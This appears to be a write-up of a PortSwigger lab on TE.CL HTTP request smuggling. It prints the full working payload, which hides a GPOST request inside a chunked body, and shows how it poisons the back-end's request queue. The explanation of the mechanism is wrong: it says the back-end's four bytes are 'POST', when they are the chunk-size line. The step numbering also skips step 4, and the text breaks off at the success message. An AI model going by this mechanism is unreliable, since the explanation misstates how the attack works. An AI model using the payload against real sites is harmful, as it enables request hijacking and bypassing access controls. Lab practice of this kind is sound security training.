PortSwigger

Lab Description

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.

Objective: Smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.



Step 1: Understanding the Vulnerability

The TE.CL vulnerability:

  • Front-end server: Uses Transfer-Encoding: chunked (TE) - supports chunked encoding
  • Back-end server: Uses Content-Length (CL) - doesn’t support chunked encoding
  • The discrepancy allows request smuggling

The attack:

  1. Send a request with chunked encoding
  2. Front-end processes chunked data normally
  3. Back-end uses Content-Length (which is small) and stops early
  4. The leftover data (including GPOST /) is interpreted as the start of the next reques
  5. When the next request arrives, it gets concatenated, forming GPOST


Step 2: Reconnaissance

Step 2.1: Test Method Restriction

Send a request with an invalid method (e.g., PUT):

PUT / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net

Response:

"Only methods GET, POST are allowed"

Front-end enforces method restrictions.


Step 3: TE.CL Request Smuggling

Step 3.1: The Smuggling Payload

Send the following request twice (first to poison, second to see effect):

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Important: Include the trailing \r\n\r\n after the final 0.

Request breakdown:

ServerUsesSees
Front-endTransfer-Encoding: chunkedProcesses the chunk (5c = 92 bytes of data)
Back-endContent-Length: 4Only reads first 4 bytes of the request

What front-end sees

POST / HTTP/1.1
Host: lab.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

What back-end sees (Content-Length: 4):

  • Only reads POST (first 4 bytes)
  • The remaining data (/ HTTP/1.1...) is left in the buffer
  • This leftover data will be prepended to the next request


Step 5: Triggering the Smuggled Request

Step 5.1: Send a Second Normal Request

After poisoning, send another legitimate POST request.

How back-end processes:

The back-end has leftover data: GPOST / HTTP/1.1... + the new POST / request:

GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
POST / HTTP/1.1
Host: lab.com
...

The back-end interprets the first line as:

GPOST / HTTP/1.1

Response

"Unrecognized method GPOST"

The method was successfully smuggled and prepended!


Step 6: Lab Solved

Success message displayed: